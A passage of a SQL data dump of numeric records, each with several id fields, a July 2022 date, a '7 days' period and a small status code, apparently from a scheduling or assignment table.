days',0),(69358,21439,12501,11828,1749,996,'2022-07-04','7 days',0),(69359,21438,12501,11828,1749,996,'2022-07-04','7 days',0),(69360,21437,12501,11828,1749,996,'2022-07-04','7 days',0),(69361,21435,12499,11827,1749,996,'2022-07-04','7 days',0),(69362,21434,12499,11827,1749,996,'2022-07-04','7 days',0),(69363,21433,12499,11827,1749,996,'2022-07-04','7 days',0),(69364,21432,12499,11827,1749,996,'2022-07-04','7 days',2),(69365,21431,12499,11827,1749,996,'2022-07-04','7 days',0),(69366,21430,12499,11827,1749,996,'2022-07-04','7 days',0),(69367,21429,12499,11827,1749,996,'2022-07-04','7 days',0),(69368,21428,12499,11827,1749,996,'2022-07-04','7 days',0),(69369,21427,12499,11827,1749,996,'2022-07-04','7 days',0),(69370,21426,12499,11827,1749,996,'2022-07-04','7 days',0),(69371,21425,12499,11827,1749,996,'2022-07-04','7 days',0),(69372,21424,12499,11827,1749,996,'2022-07-04','7 days',0),(69373,21423,12499,11827,1749,996,'2022-07-04','7 days',0),(69374,21422,12499,11827,1749,996,'2022-07-04','7 days',0),(69375,21421,12499,11827,1749,996,'2022-07-04','7 days',0),(69376,21420,12499,11827,1749,996,'2022-07-04','7 days',0),(69377,17213,11959,12263,1324,959,'2022-07-05','7 days',1),(69378,17211,11959,12263,1324,959,'2022-07-05','7 days',1),(69379,14071,11959,12263,1324,959,'2022-07-05','7 days',1),(69380,21408,12836,13031,190,45,'2022-07-06','7 days',1),(69381,21374,12836,13031,190,45,'2022-07-06','7 days',1),(69382,21397,12840,13067,193,45,'2022-07-07','7 days',1),(69383,21394,12840,13067,193,45,'2022-07-07','7 days',1),(69384,21393,12840,13067,193,45,'2022-07-07','7 days',1),(69385,21392,12840,13067,193,45,'2022-07-07','7 days',1),(69386,21391,12840,13067,193,45,'2022-07-07','7 days',1),(69387,9111,12814,13049,359,251,'2022-07-08','7 days',1),(69388,9110,12814,13049,359,251,'2022-07-08','7 days',0),(69389,9109,12814,13049,359,251,'2022-07-08','7 days',0),(69390,9108,12814,13049,359,251,'2022-07-08','7 days',0),(69391,9107,12814,13049,359,251,'2022-07-08','7 days',0),(69392,8603,12316,12587,359,251,'2022-07-08','7 days',0),(69393,8602,12316,12587,359,251,'2022-07-08','7 days',0),(69394,8601,12316,12587,359,251,'2022-07-08','7 days',0),(69395,8600,12316,12587,359,251,'2022-07-08','7 days',0),(69396,8599,12316,12587,359,251,'2022-07-08','7 days',0),(69397,8598,12316,12587,359,251,'2022-07-08','7 days',0),(69398,8597,12316,12587,359,251,'2022-07-08','7 days',0),(69399,8596,12316,12587,359,251,'2022-07-08','7 days',0),(69400,8595,12316,12587,359,251,'2022-07-08','7 days',0),(69401,6886,12316,12587,359,251,'2022-07-08','7 days',0),(69402,6885,12316,12587,359,251,'2022-07-08','7 days',0),(69403,6884,12316,12587,359,251,'2022-07-08','7 days',0),(69404,6883,12316,12587,359,251,'2022-07-08','7 days',0),(69405,6882,12316,12587,359,251,'2022-07-08','7 days',0),(69406,6881,12316,12587,359,251,'2022-07-08','7 days',0),(69407,6880,12316,12587,359,251,'2022-07-08','7 days',0),(69408,6879,12316,12587,359,251,'2022-07-08','7 days',0),(69409,5403,12316,12587,359,251,'2022-07-08','7 days',0),(69410,5402,12316,12587,359,251,'2022-07-08','7 days',0),(69411,5401,12316,12587,359,251,'2022-07-08','7 days',0),(69412,5400,12316,12587,359,251,'2022-07-08','7 days',0),(69413,3253,12316,12587,359,251,'2022-07-08','7 days',0),(69414,3252,12316,12587,359,251,'2022-07-08','7 days',0),(69415,3251,12316,12587,359,251,'2022-07-08','7 days',0),(69416,3250,12316,12587,359,251,'2022-07-08','7 days',0),(69417,3249,12316,12587,359,251,'2022-07-08','7 days',0),(69418,3248,12316,12587,359,251,'2022-07-08','7 days',0),(69419,17212,11870,12191,1324,959,'2022-07-08','7 days',1),(69420,17204,11870,12191,1324,959,'2022-07-08','7 days',1),(69421,15747,11870,12191,1324,959,'2022-07-08','7 days',0),(69422,9117,12814,13049,359,251,'2022-07-08','7 days',0),(69423,9116,12814,13049,359,251,'2022-07-08','7 days',0),(69424,9115,12814,13049,359,251,'2022-07-08','7 days',0),(69425,9114,12814,13049,359,251,'2022-07-08','7 days',0),(69426,9113,12814,13049,359,251,'2022-07-08','7 days',0),(69427,9112,12814,13049,359,251,'2022-07-08','7 days',0),(69428,9054,12814,13049,359,251,'2022-07-08','7 days',0),(69429,9053,12814,13049,359,251,'2022-07-08','7 days',0),(69430,9052,12814,13049,359,251,'2022-07-08','7 days',0),(69431,9051,12814,13049,359,251,'2022-07-08','7 days',0),(69432,9050,12814,13049,359,251,'2022-07-08','7 days',0),(69433,9049,12814,13049,359,251,'2022-07-08','7 days',0),(69434,9048,12814,13049,359,251,'2022-07-08','7 days',0),(69435,9047,12814,13049,359,251,'2022-07-08','7 days',0),(69436,9046,12814,13049,359,251,'2022-07-08','7 days',0),(69437,9045,12814,13049,359,251,'2022-07-08','7 days',0),(69438,9044,12814,13049,359,251,'2022-07-08','7 days',0),(69439,9043,12814,13049,359,251,'2022-07-08','7 days',0),(69440,9042,12814,13049,359,251,'2022-07-08','7 days',0),(69441,9041,12814,13049,359,251,'2022-07-08','7 days',0),(69442,9040,12814,13049,359,251,'2022-07-08','7 days',0),(69443,9039,12814,13049,359,251,'2022-07-08','7 days',0),(69444,9038,12814,13049,359,251,'2022-07-08','7 days',0),(69445,9037,12814,13049,359,251,'2022-07-08','7 days',0),(69446,9036,12814,13049,359,251,'2022-07-08','7 days',0),(69447,9035,12814,13049,359,251,'2022-07-08','7 days',0),(69448,9117,12316,12587,359,251,'2022-07-08','7 days',0),(69449,9116,12316,12587,359,251,'2022-07-08','7 days',0),(69450,9115,12316,12587,359,251,'2022-07-08','7 days',0),(69451,9114,12316,12587,359,251,'2022-07-08','7 days',0),(69452,9113,12316,12587,359,251,'2022-07-08','7 days',0),(69453,9112,12316,12587,359,251,'2022-07-08','7 days',0),(69454,9054,12316,12587,359,251,'2022-07-08','7 days',0),(69455,9053,12316,12587,359,251,'2022-07-08','7 days',0),(69456,9052,12316,12587,359,251,'2022-07-08','7 days',0),(69457,9051,12316,12587,359,251,'2022-07-08','7 days',0),(69458,9050,12316,12587,359,251,'2022-07-08','7 days',0),(69459,9049,12316,12587,359,251,'2022-07-08','7 days',0),(69460,9048,12316,12587,359,251,'2022-07-08','7 days',0),(69461,9047,12316,12587,359,251,'2022-07-08','7 days',0),(69462,9046,12316,12587,359,251,'2022-07-08','7 days',0),(69463,9045,12316,12587,359,251,'2022-07-08','7 days',0),(69464,9044,12316,12587,359,251,'2022-07-08','7 days',0),(69465,9043,12316,12587,359,251,'2022-07-08','7 days',0),(69466,9042,12316,12587,359,251,'2022-07-08','7 days',0),(69467,9041,12316,12587,359,251,'2022-07-08','7 days',0),(69468,9040,12316,12587,359,251,'2022-07-08','7 days',0),(69469,9039,12316,12587,359,251,'2022-07-08','7 days',0),(69470,9038,12316,12587,359,251,'2022-07-08','7 days',0),(69471,9037,12316,12587,359,251,'2022-07-08','7 days',0),(69472,9036,12316,12587,359,251,'2022-07-08','7 days',0),(69473,9035,12316,12587,359,251,'2022-07-08','7 days',0),(69474,10011,12190,12454,1674,251,'2022-07-08','7 days',0),(69475,10010,12190,12454,1674,251,'2022-07-08','7 days',1),(69476,10009,12190,12454,1674,251,'2022-07-08','7 days',0),(69477,10008,12190,12454,1674,251,'2022-07-08','7 days',0),(69478,10007,12190,12454,1674,251,'2022-07-08','7 days',0),(69479,10006,12190,12454,1674,251,'2022-07-08','7 days',0),(69480,10005,12190,12454,1674,251,'2022-07-08','7 days',0),(69481,10004,12190,12454,1674,251,'2022-07-08','7 days',0),(69482,10003,12190,12454,1674,251,'2022-07-08','7 days',0),(69483,10002,12190,12454,1674,251,'2022-07-08','7 days',0),(69484,9931,12190,12454,1674,251,'2022-07-08','7 days',0),(69485,9930,12190,12454,1674,251,'2022-07-08','7 days',0),(69486,9929,12190,12454,1674,251,'2022-07-08','7 days',0),(69487,9928,12190,12454,1674,251,'2022-07-08','7 days',0),(69488,9927,12190,12454,1674,251,'2022-07-08','7 days',0),(69489,9926,12190,12454,1674,251,'2022-07-08','7 days',0),(69490,9925,12190,12454,1674,251,'2022-07-08','7 days',0),(69491,9924,12190,12454,1674,251,'2022-07-08','7 days',0),(69492,9923,12190,12454,1674,251,'2022-07-08','7 days',0),(69493,9922,12190,12454,1674,251,'2022-07-08','7 days',0),(69494,8603,11846,9677,1674,251,'2022-07-08','7 days',0),(69495,8602,11846,9677,1674,251,'2022-07-08','7 days',0),(69496,8601,11846,9677,1674,251,'2022-07-08','7 days',0),(69497,8600,11846,9677,1674,251,'2022-07-08','7 days',0),(69498,8599,11846,9677,1674,251,'2022-07-08','7 days',0),(69499,8598,11846,9677,1674,251,'2022-07-08','7 days',0),(69500,8597,11846,9677,1674,251,'2022-07-08','7 days',0),(69501,8596,11846,9677,1674,251,'2022-07-08','7 days',0),(69502,8595,11846,9677,1674,251,'2022-07-08','7 days',0),(69503,6886,11846,9677,1674,251,'2022-07-08','7 days',0),(69504,6885,11846,9677,1674,251,'2022-07-08','7 days',0),(69505,6884,11846,9677,1674,251,'2022-07-08','7 days',0),(69506,6883,11846,9677,1674,251,'2022-07-08','7 days',0),(69507,6882,11846,9677,1674,251,'2022-07-08','7 days',0),(69508,6881,11846,9677,1674,251,'2022-07-08','7 days',0),(69509,6880,11846,9677,1674,251,'2022-07-08','7 days',0),(69510,6879,11846,9677,1674,251,'2022-07-08','7 days',0),(69511,5403,11846,9677,1674,251,'2022-07-08','7 days',0),(69512,5402,11846,9677,1674,251,'2022-07-08','7 days',0),(69513,5401,11846,9677,1674,251,'2022-07-08','7 days',0),(69514,5400,11846,9677,1674,251,'2022-07-08','7 days',0),(69515,3253,11846,9677,1674,251,'2022-07-08','7 days',0),(69516,3252,11846,9677,1674,251,'2022-07-08','7 days',0),(69517,3251,11846,9677,1674,251,'2022-07-08','7 days',0),(69518,3250,11846,9677,1674,251,'2022-07-08','7 days',0),(69519,3249,11846,9677,1674,251,'2022-07-08','7 days',0),(69520,3248,11846,9677,1674,251,'2022-07-08','7 days',0),(69521,3247,11846,9677,1674,251,'2022-07-08','7 days',0),(69522,3246,11846,9677,1674,251,'2022-07-08','7 days',0),(69523,3243,11846,9677,1674,251,'2022-07-08','7 days',0),(69524,3242,11846,9677,1674,251,'2022-07-08','7 days',0),(69525,3241,11846,9677,1674,251,'2022-07-08','7 days',0),(69526,3240,11846,9677,1674,251,'2022-07-08','7 days',0),(69527,3239,11846,9677,1674,251,'2022-07-08','7 days',0),(69528,3238,11846,9677,1674,251,'2022-07-08','7 days',0),(69529,3237,11846,9677,1674,251,'2022-07-08','7 days',0),(69530,3236,11846,9677,1674,251,'2022-07-08','7 days',0),(69531,3235,11846,9677,1674,251,'2022-07-08','7 days',0),(69532,3234,11846,9677,1674,251,'2022-07-08','7 days',0),(69533,5409,11323,10931,1674,251,'2022-07-08','7 days',0),(69534,5408,11323,10931,1674,251,'2022-07-08','7 days',0),(69535,5407,11323,10931,1674,251,'2022-07-08','7 days',0),(69536,5406,11323,10931,1674,251,'2022-07-08','7 days',0),(69537,5405,11323,10931,1674,251,'2022-07-08','7 days',0),(69538,5404,11323,10931,1674,251,'2022-07-08','7 days',0),(69539,4275,11323,10931,1674,251,'2022-07-08','7 days',0),(69540,4274,11323,10931,1674,251,'2022-07-08','7 days',0),(69541,4273,11323,10931,1674,251,'2022-07-08','7 days',0),(69542,4272,11323,10931,1674,251,'2022-07-08','7 days',0),(69543,4271,11323,10931,1674,251,'2022-07-08','7 days',0),(69544,4270,11323,10931,1674,251,'2022-07-08','7 days',0),(69545,4269,11323,10931,1674,251,'2022-07-08','7 days',0),(69546,3262,11323,10931,1674,251,'2022-07-08','7 days',0),(69547,3261,11323,10931,1674,251,'2022-07-08','7 days',0),(69548,3260,11323,10931,1674,251,'2022-07-08','7 days',0),(69549,3259,11323,10931,1674,251,'2022-07-08','7 days',0),(69550,3258,11323,10931,1674,251,'2022-07-08','7 days',0),(69551,3257,11323,10931,1674,251,'2022-07-08','7 days',0),(69552,3256,11323,10931,1674,251,'2022-07-08','7 days',0),(69553,3255,11323,10931,1674,251,'2022-07-08','7 days',0),(69554,20145,10872,11433,1750,996,'2022-07-08','7 days',0),(69555,21462,10872,11433,1750,996,'2022-07-08','7 days',0),(69556,21461,10872,11433,1750,996,'2022-07-08','7 days',0),(69557,21460,10872,11433,1750,996,'2022-07-08','7 days',0),(69558,21459,10872,11433,1750,996,'2022-07-08','7 days',0),(69559,21458,10872,11433,1750,996,'2022-07-08','7 days',0),(69560,21457,10872,11433,1750,996,'2022-07-08','7 days',0),(69561,21456,10872,11433,1750,996,'2022-07-08','7 days',0),(69562,21455,10872,11433,1750,996,'2022-07-08','7 days',0),(69563,21454,10872,11433,1750,996,'2022-07-08','7 days',0),(69564,21453,10872,11433,1750,996,'2022-07-08','7 days',0),(69565,21452,10872,11433,1750,996,'2022-07-08','7 days',0),(69566,21451,10872,11433,1750,996,'2022-07-08','7 days',0),(69567,21450,10872,11433,1750,996,'2022-07-08','7 days',0),(69568,21449,10872,11433,1750,996,'2022-07-08','7 days',0),(69569,21448,10872,11433,1750,996,'2022-07-08','7 days',0),(69570,21447,10872,11433,1750,996,'2022-07-08','7 days',0),(69571,21446,10872,11433,1750,996,'2022-07-08','7 days',0),(69572,21445,10872,11433,1750,996,'2022-07-08','7 days',0),(69573,21444,10872,11433,1750,996,'2022-07-08','7 days',0),(69574,21443,10872,11433,1750,996,'2022-07-08','7 days',0),(69575,21442,10872,11433,1750,996,'2022-07-08','7 days',0),(69576,21441,10872,11433,1750,996,'2022-07-08','7 days',0),(69577,21440,10872,11433,1750,996,'2022-07-08','7 days',0),(69578,21439,10872,11433,1750,996,'2022-07-08','7 days',0),(69579,21438,10872,11433,1750,996,'2022-07-08','7 days',0),(69580,21437,10872,11433,1750,996,'2022-07-08','7 days',0),(69581,21436,10872,11433,1750,996,'2022-07-08','7 days',0),(69582,21435,10872,11433,1750,996,'2022-07-08','7 days',0),(69583,21434,10872,11433,1750,996,'2022-07-08','7 days',0),(69584,21433,10872,11433,1750,996,'2022-07-08','7 days',0),(69585,21432,10872,11433,1750,996,'2022-07-08','7 days',0),(69586,21431,10872,11433,1750,996,'2022-07-08','7 days',0),(69587,21430,10872,11433,1750,996,'2022-07-08','7 days',0),(69588,21429,10872,11433,1750,996,'2022-07-08','7 days',0),(69589,21428,10872,11433,1750,996,'2022-07-08','7 days',0),(69590,21427,10872,11433,1750,996,'2022-07-08','7 days',0),(69591,21426,10872,11433,1750,996,'2022-07-08','7 days',0),(69592,21425,10872,11433,1750,996,'2022-07-08','7 days',0),(69593,21424,10872,11433,1750,996,'2022-07-08','7 days',0),(69594,21423,10872,11433,1750,996,'2022-07-08','7 days',0),(69595,21422,10872,11433,1750,996,'2022-07-08','7 days',0),(69596,21421,10872,11433,1750,996,'2022-07-08','7 days',0),(69597,21420,10872,11433,1750,996,'2022-07-08','7 days',0),(69598,21419,10872,11433,1750,996,'2022-07-08','7 days',0),(69599,21418,10872,11433,1750,996,'2022-07-08','7 days',0),(69600,21417,10872,11433,1750,996,'2022-07-08','7 days',0),(69601,21407,10872,11433,1750,996,'2022-07-08','7 days',0),(69602,21406,10872,11433,1750,996,'2022-07-08','7 days',0),(69603,21405,10872,11433,1750,996,'2022-07-08','7 days',0),(69604,21404,10872,11433,1750,996,'2022-07-08','7 days',0),(69605,21403,10872,11433,1750,996,'2022-07-08','7 days',0),(69606,21402,10872,11433,1750,996,'2022-07-08','7 days',0),(69607,21401,10872,11433,1750,996,'2022-07-08','7 days',0),(69608,21400,10872,11433,1750,996,'2022-07-08','7 days',0),(69609,21399,10872,11433,1750,996,'2022-07-08','7 days',0),(69610,20378,10872,11433,1750,996,'2022-07-08','7 days',0),(69611,20205,10872,11433,1750,996,'2022-07-08','7 days',0),(69612,20201,10872,11433,1750,996,'2022-07-08','7 days',0),(69613,20199,10872,11433,1750,996,'2022-07-08','7 days',0),(69614,20195,10872,11433,1750,996,'2022-07-08','7 days',0),(69615,4510,11598,11992,633,639,'2022-07-08','7 days',0),(69616,4506,11598,11992,633,639,'2022-07-08','7 days',2),(69617,4512,11280,11748,1708,639,'2022-07-08','7 days',1),(69618,4494,11280,11748,1708,639,'2022-07-08','7 days',1),(69619,4487,11280,11748,1708,639,'2022-07-08','7 days',0),(69620,4483,11280,11748,1708,639,'2022-07-08','7 days',0),(69621,4477,11280,11748,1708,639,'2022-07-08','7 days',0),(69622,4473,11280,11748,1708,639,'2022-07-08','7 days',0),(69623,8796,11280,11748,1708,639,'2022-07-08','7 days',0),(69624,4502,11280,11748,1708,639,'2022-07-08','7 days',0),(69625,4452,11101,11607,1708,639,'2022-07-08','7 days',0),(69626,17489,11101,11607,1708,639,'2022-07-08','7 days',1),(69627,17451,11101,11607,1708,639,'2022-07-08','7 days',0),(69628,4516,11101,11607,1708,639,'2022-07-08','7 days',0),(69629,4514,11101,11607,1708,639,'2022-07-08','7 days',0),(69630,4499,11101,11607,1708,639,'2022-07-08','7 days',0),(69631,4467,11101,11607,1708,639,'2022-07-08','7 days',0),(69632,4460,11101,11607,1708,639,'2022-07-08','7 days',0),(69633,8796,10975,11512,634,639,'2022-07-08','7 days',0),(69634,4452,10182,10898,633,639,'2022-07-08','7 days',0),(69635,10779,10182,10898,633,639,'2022-07-08','7 days',0),(69636,4512,9911,10698,634,639,'2022-07-08','7 days',1),(69637,4494,9911,10698,634,639,'2022-07-08','7 days',1),(69638,4487,9911,10698,634,639,'2022-07-08','7 days',0),(69639,4483,9911,10698,634,639,'2022-07-08','7 days',0),(69640,4477,9911,10698,634,639,'2022-07-08','7 days',0),(69641,4473,9911,10698,634,639,'2022-07-08','7 days',0),(69642,17489,9183,10144,634,639,'2022-07-08','7 days',1),(69643,17451,9183,10144,634,639,'2022-07-08','7 days',0),(69644,4516,9183,10144,634,639,'2022-07-08','7 days',0),(69645,4514,9183,10144,634,639,'2022-07-08','7 days',0),(69646,4499,9183,10144,634,639,'2022-07-08','7 days',0),(69647,4467,9183,10144,634,639,'2022-07-08','7 days',2),(69648,4460,9183,10144,634,639,'2022-07-08','7 days',2),(69649,21394,12848,13072,193,45,'2022-07-13','7 days',1),(69650,21393,12848,13072,193,45,'2022-07-13','7 days',1),(69651,21392,12848,13072,193,45,'2022-07-13','7 days',1),(69652,21391,12848,13072,193,45,'2022-07-13','7 days',1),(69653,20792,12812,13045,221,85,'2022-07-18','7 days',0),(69654,11446,12812,13045,221,85,'2022-07-18','7 days',0),(69655,11444,12812,13045,221,85,'2022-07-18','7 days',0),(69656,11436,12812,13045,221,85,'2022-07-18','7 days',0),(69657,11435,12812,13045,221,85,'2022-07-18','7 days',0),(69658,11268,12812,13045,221,85,'2022-07-18','7 days',0),(69659,11267,12812,13045,221,85,'2022-07-18','7 days',0),(69660,11266,12671,12932,222,85,'2022-07-18','7 days',0),(69661,11265,12671,12932,222,85,'2022-07-18','7 days',0),(69662,11264,12671,12932,222,85,'2022-07-18','7 days',0),(69663,11263,12671,12932,222,85,'2022-07-18','7 days',0),(69664,11262,12671,12932,222,85,'2022-07-18','7 days',0),(69665,11261,12671,12932,222,85,'2022-07-18','7 days',0),(69666,11260,12671,12932,222,85,'2022-07-18','7 days',0),(69667,11436,12671,12932,222,85,'2022-07-18','7 days',0),(69668,11435,12671,12932,222,85,'2022-07-18','7 days',0),(69669,11434,12671,12932,222,85,'2022-07-18','7 days',2),(69670,11433,12671,12932,222,85,'2022-07-18','7 days',0),(69671,11432,12671,12932,222,85,'2022-07-18','7 days',0),(69672,11431,12671,12932,222,85,'2022-07-18','7 days',0),(69673,11269,12671,12932,222,85,'2022-07-18','7 days',0),(69674,11268,12671,12932,222,85,'2022-07-18','7 days',0),(69675,11267,12671,12932,222,85,'2022-07-18','7 days',0),(69676,21474,12850,13073,191,45,'2022-07-19','7 days',0),(69677,21473,12850,13073,191,45,'2022-07-19','7 days',1),(69678,21472,12850,13073,191,45,'2022-07-19','7 days',0),(69679,21471,12850,13073,191,45,'2022-07-19','7 days',0),(69680,21470,12850,13073,191,45,'2022-07-19','7 days',1),(69681,21469,12850,13073,191,45,'2022-07-19','7 days',0),(69682,21463,11959,12263,1324,959,'2022-07-19','7 days',0),(69683,20671,12851,13075,1668,277,'2022-07-19','7 days',0),(69684,20414,12851,13075,1668,277,'2022-07-19','7 days',0),(69685,20413,12851,13075,1668,277,'2022-07-19','7 days',0),(69686,20412,12851,13075,1668,277,'2022-07-19','7 days',0),(69687,17682,12853,13077,1666,277,'2022-07-19','7 days',1),(69688,17681,12853,13077,1666,277,'2022-07-19','7 days',0),(69689,15861,12853,13077,1666,277,'2022-07-19','7 days',0),(69690,15860,12853,13077,1666,277,'2022-07-19','7 days',0),(69691,15859,12853,13077,1666,277,'2022-07-19','7 days',0),(69692,9011,12856,13079,160,73,'2022-07-20','7 days',0),(69693,648,12856,13079,160,73,'2022-07-20','7 days',1),(69694,664,12856,13079,160,73,'2022-07-20','7 days',0),(69695,663,12856,13079,160,73,'2022-07-20','7 days',0),(69696,658,12856,13079,160,73,'2022-07-20','7 days',0),(69697,21377,12858,12576,161,73,'2022-07-20','7 days',1),(69698,9012,12858,12576,161,73,'2022-07-20','7 days',0),(69699,9010,12858,12576,161,73,'2022-07-20','7 days',0),(69700,8785,12858,12576,161,73,'2022-07-20','7 days',0),(69701,8782,12858,12576,161,73,'2022-07-20','7 days',0),(69702,9009,12859,13081,162,73,'2022-07-20','7 days',0),(69703,9008,12859,13081,162,73,'2022-07-20','7 days',0),(69704,665,12859,13081,162,73,'2022-07-20','7 days',0),(69705,662,12859,13081,162,73,'2022-07-20','7 days',0),(69706,633,12859,13081,162,73,'2022-07-20','7 days',0),(69707,8784,12861,13083,160,73,'2022-07-20','7 days',1),(69708,8783,12861,13083,160,73,'2022-07-20','7 days',0),(69709,656,12861,13083,160,73,'2022-07-20','7 days',0),(69710,653,12861,13083,160,73,'2022-07-20','7 days',0),(69711,9014,12861,13083,160,73,'2022-07-20','7 days',1),(69712,20788,12862,13084,1779,975,'2022-07-20','7 days',1),(69713,18830,12862,13084,1779,975,'2022-07-20','7 days',1),(69714,17409,12862,13084,1779,975,'2022-07-20','7 days',1),(69715,17408,12862,13084,1779,975,'2022-07-20','7 days',1),(69716,17407,12862,13084,1779,975,'2022-07-20','7 days',1),(69717,17406,12862,13084,1779,975,'2022-07-20','7 days',1),(69718,17405,12862,13084,1779,975,'2022-07-20','7 days',1),(69719,17404,12862,13084,1779,975,'2022-07-20','7 days',0),(69720,17403,12862,13084,1779,975,'2022-07-20','7 days',0),(69721,17391,12862,13084,1779,975,'2022-07-20','7 days',2),(69722,21463,12860,13082,1324,959,'2022-07-20','7 days',0),(69723,17213,12860,13082,1324,959,'2022-07-20','7 days',1),(69724,17211,12860,13082,1324,959,'2022-07-20','7 days',1),(69725,14071,12860,13082,1324,959,'2022-07-20','7 days',1),(69726,17212,12860,13082,1324,959,'2022-07-21','7 days',1),(69727,17204,12860,13082,1324,959,'2022-07-21','7 days',1),(69728,15747,12860,13082,1324,959,'2022-07-21','7 days',0),(69729,20438,12863,13085,1664,277,'2022-07-21','7 days',0),(69730,20437,12863,13085,1664,277,'2022-07-21','7 days',0),(69731,20436,12863,13085,1664,277,'2022-07-21','7 days',0),(69732,20435,12863,13085,1664,277,'2022-07-21','7 days',0),(69733,20671,12830,13063,1667,277,'2022-07-21','7 days',0),(69734,20414,12830,13063,1667,277,'2022-07-21','7 days',0),(69735,20671,12825,13060,1661,277,'2022-07-21','7 days',0),(69736,20414,12825,13060,1661,277,'2022-07-21','7 days',0),(69737,20438,12820,13057,1594,277,'2022-07-21','7 days',0),(69738,20437,12820,13057,1594,277,'2022-07-21','7 days',0),(69739,21397,12848,13072,193,45,'2022-07-22','7 days',0),(69740,21390,12848,13072,193,45,'2022-07-22','7 days',0),(69741,17215,12860,13082,1324,959,'2022-07-22','7 days',0),(69742,17209,12860,13082,1324,959,'2022-07-22','7 days',0),(69743,17208,12860,13082,1324,959,'2022-07-22','7 days',1),(69744,20788,12838,13055,1410,975,'2022-07-23','7 days',1),(69745,18830,12838,13055,1410,975,'2022-07-23','7 days',1),(69746,17409,12838,13055,1410,975,'2022-07-23','7 days',1),(69747,17408,12838,13055,1410,975,'2022-07-23','7 days',1),(69748,17407,12838,13055,1410,975,'2022-07-23','7 days',1),(69749,17406,12838,13055,1410,975,'2022-07-23','7 days',1),(69750,17405,12838,13055,1410,975,'2022-07-23','7 days',1),(69751,21475,12781,13022,1779,975,'2022-07-25','7 days',1),(69752,21476,12838,13055,1410,975,'2022-07-25','7 days',1),(69753,21476,12781,13022,1779,975,'2022-07-25','7 days',1),(69754,21475,12177,12443,1410,975,'2022-07-25','7 days',1),(69755,21485,12867,13090,192,45,'2022-07-26','7 days',0),(69756,21484,12867,13090,192,45,'2022-07-26','7 days',1),(69757,21483,12867,13090,192,45,'2022-07-26','7 days',0),(69758,21482,12867,13090,192,45,'2022-07-26','7 days',0),(69759,21481,12867,13090,192,45,'2022-07-26','7 days',0),(69760,21480,12867,13090,192,45,'2022-07-26','7 days',0),(69761,21479,12867,13090,192,45,'2022-07-26','7 days',0),(69762,21478,12867,13090,192,45,'2022-07-26','7 days',0),(69763,21477,12867,13090,192,45,'2022-07-26','7 days',0),(69764,9013,12861,13083,160,73,'2022-07-26','7 days',0),(69765,8786,12861,13083,160,73,'2022-07-26','7 days',0),(69766,668,12861,13083,160,73,'2022-07-26','7 days',2),(69767,655,12861,13083,160,73,'2022-07-26','7 days',0),(69768,632,12861,13083,160,73,'2022-07-26','7 days',0),(69769,21447,12502,11829,1749,996,'2022-07-26','7 days',0),(69770,21446,12502,11829,1749,996,'2022-07-26','7 days',0),(69771,21445,12502,11829,1749,996,'2022-07-26','7 days',0),(69772,21444,12502,11829,1749,996,'2022-07-26','7 days',0),(69773,21443,12502,11829,1749,996,'2022-07-26','7 days',0),(69774,21442,12502,11829,1749,996,'2022-07-26','7 days',0),(69775,21441,12502,11829,1749,996,'2022-07-26','7 days',0),(69776,21440,12502,11829,1749,996,'2022-07-26','7 days',0),(69777,21439,12502,11829,1749,996,'2022-07-26','7 days',0),(69778,21438,12502,11829,1749,996,'2022-07-26','7 days',0),(69779,21437,12502,11829,1749,996,'2022-07-26','7 days',0),(69780,21436,12502,11829,1749,996,'2022-07-26','7 days',0),(69781,21435,12502,11829,1749,996,'2022-07-26','7 days',0),(69782,21434,12502,11829,1749,996,'2022-07-26','7 days',0),(69783,21433,12502,11829,1749,996,'2022-07-26','7 days',0),(69784,21432,12502,11829,1749,996,'2022-07-26','7 days',0),(69785,21431,12502,11829,1749,996,'2022-07-26','7 days',0),(69786,21430,12502,11829,1749,996,'2022-07-26','7 days',0),(69787,21475,12862,13084,1779,975,'2022-07-26','7 days',1),(69788,21453,12499,11827,1749,996,'2022-07-26','7 days',0),(69789,21452,12499,11827,1749,996,'2022-07-26','7 days',0),(69790,21450,12499,11827,1749,996,'2022-07-26','7 days',0),(69791,21403,12499,11827,1749,996,'2022-07-26','7 days',0),(69792,21399,12499,11827,1749,996,'2022-07-26','7 days',0),(69793,640,12856,13079,160,73,'2022-07-26','7 days',0),(69794,639,12856,13079,160,73,'2022-07-26','7 days',0),(69795,637,12856,13079,160,73,'2022-07-26','7 days',0),(69796,636,12856,13079,160,73,'2022-07-26','7 days',0),(69797,629,12856,13079,160,73,'2022-07-26','7 days',0),(69798,8784,12859,13081,162,73,'2022-07-26','7 days',1),(69799,8783,12859,13081,162,73,'2022-07-26','7 days',0),(69800,656,12859,13081,162,73,'2022-07-26','7 days',0),(69801,653,12859,13081,162,73,'2022-07-26','7 days',0),(69802,670,12859,13081,162,73,'2022-07-26','7 days',0),(69803,660,12859,13081,162,73,'2022-07-26','7 days',0),(69804,17074,12841,13068,1732,667,'2022-07-26','7 days',1),(69805,15399,12841,13068,1732,667,'2022-07-26','7 days',0),(69806,15398,12841,13068,1732,667,'2022-07-26','7 days',1),(69807,15397,12841,13068,1732,667,'2022-07-26','7 days',1),(69808,15396,12841,13068,1732,667,'2022-07-26','7 days',0),(69809,15187,12841,13068,1732,667,'2022-07-26','7 days',0),(69810,15186,12841,13068,1732,667,'2022-07-26','7 days',1),(69811,15185,12841,13068,1732,667,'2022-07-26','7 days',0),(69812,15183,12841,13068,1732,667,'2022-07-26','7 days',1),(69813,15180,12841,13068,1732,667,'2022-07-26','7 days',0),(69814,15179,12841,13068,1732,667,'2022-07-26','7 days',0),(69815,15178,12841,13068,1732,667,'2022-07-26','7 days',0),(69816,15177,12841,13068,1732,667,'2022-07-26','7 days',0),(69817,15176,12841,13068,1732,667,'2022-07-26','7 days',0),(69818,14805,12841,13068,1732,667,'2022-07-26','7 days',0),(69819,14767,12841,13068,1732,667,'2022-07-26','7 days',0),(69820,14766,12841,13068,1732,667,'2022-07-26','7 days',0),(69821,11443,12812,13045,221,85,'2022-07-27','7 days',0),(69822,11441,12812,13045,221,85,'2022-07-27','7 days',0),(69823,11437,12812,13045,221,85,'2022-07-27','7 days',0),(69824,11432,12812,13045,221,85,'2022-07-27','7 days',0),(69825,11431,12812,13045,221,85,'2022-07-27','7 days',0),(69826,11266,12812,13045,221,85,'2022-07-27','7 days',0),(69827,11260,12812,13045,221,85,'2022-07-27','7 days',0),(69828,12531,12836,13031,190,45,'2022-07-27','7 days',1),(69829,11715,12836,13031,190,45,'2022-07-27','7 days',1),(69830,11714,12836,13031,190,45,'2022-07-27','7 days',1),(69831,10976,12836,13031,190,45,'2022-07-27','7 days',1),(69832,10975,12836,13031,190,45,'2022-07-27','7 